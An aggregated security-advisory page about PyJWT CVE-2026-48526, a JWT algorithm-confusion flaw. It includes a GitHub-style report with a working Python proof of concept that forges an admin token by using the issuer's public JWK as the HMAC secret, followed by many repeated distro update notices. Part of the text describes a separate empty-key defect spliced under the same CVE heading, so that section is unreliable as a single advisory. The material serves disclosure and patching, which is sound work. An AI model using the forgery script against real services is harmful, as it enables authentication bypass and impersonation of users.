CVE-2026-48526

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Summary

HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is the empty string and returns a zero-length key without raising. When a token is then verified with that key object (a PyJWK, or a PyJWK resolved by PyJWKSet / PyJWKClient), the HMAC verifier computes HMAC(key=b"", signing_input) and accepts any token an attacker forged with the same empty key. The attacker needs no secret knowledge: they reproduce the digest locally with an empty key and set the token's kid to the empty-k JWK.

The empty-key rejection that HMACAlgorithm.prepare_key performs for string/bytes secrets (added in 2.13.0) was never propagated to the sibling from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under default decode options this path only emits an InsecureKeyLengthWarning, not an error, so verification still succeeds. This is the same "empty/nil HMAC key is accepted by verify" defect the JWT ecosystem is currently closing library-side: fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a library-side reject-empty-HMAC-key precondition.

Affected versions

PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit 7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is already guarded in 2.13.0; the JWK/JWKS path is not.

Privilege required

Unauthenticated. Any party who can reach a JWT-verifying endpoint of an application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct key has an empty k can forge tokens with arbitrary claims.

Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct entry carries an empty k. This occurs when the signing secret is sourced from an unset environment variable / unset config row / key-finder fallback that base64url-encodes b"" into the published JWKS, or when the application trusts a JWKS containing such an entry. The equivalent unset-secret case for the string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0; the JWK route is the remaining reachable surface for the same misconfiguration.

Vulnerable code

jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):

@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Contrast the sibling prepare_key, which DID get the guard (lines 325-329):

def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key material directly, bypassing prepare_key, and the length warning is non-fatal by default:

        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
 …

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'

Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

• python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

TuxCare rebuilt pyjwt to address 4 CVEs. Fixed in 2.10.1.post2+tuxcare.

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.8.0.post2+tuxcare.

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 2.3.0.post2+tuxcare.

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post3+tuxcare.

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.10.1.post7+tuxcare.

These are all security issues fixed in the python311-PyJWT-2.13.0-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

Root has patched CVE-2026-48526 in the pyjwt package for Root:PyPI. Multiple fixed versions available.

Root has patched GHSA-pxh4-856f-4h89 in the PyJWT package for Root:PyPI. Multiple fixed versions available.

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

This update for python-PyJWT fixes the following issues

• CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
• CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
• CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
• CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).

It was discovered that PyJWT incorrectly handled certain URIs when using PyJWKClient. A remote attacker could possibly use this issue to perform server-side request forgery (SSRF) or expose sensitive local files. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48522)

It was discovered that PyJWT incorrectly verified cryptographic signatures when decoding tokens with PyJWK keys. A remote attacker could possibly use this issue to bypass signature verification and forge valid JSON Web Tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-48523)

It was discovered that PyJWT incorrectly handled unknown key identifiers in PyJWKClient. A remote attacker could possibly use this issue to cause PyJWT to make excessive network requests, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48524)

It was discovered that PyJWT incorrectly handled payload decoding during detached JWS token verification. A remote attacker could possibly use this issue to cause PyJWT to consume excessive resources, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48525)

It was discovered that PyJWT incorrectly validated JSON Web Keys when decoding tokens with both HMAC and asymmetric algorithms enabled. A remote attacker could possibly use this issue to forge valid tokens, resulting in an authentication bypass. (CVE-2026-48526)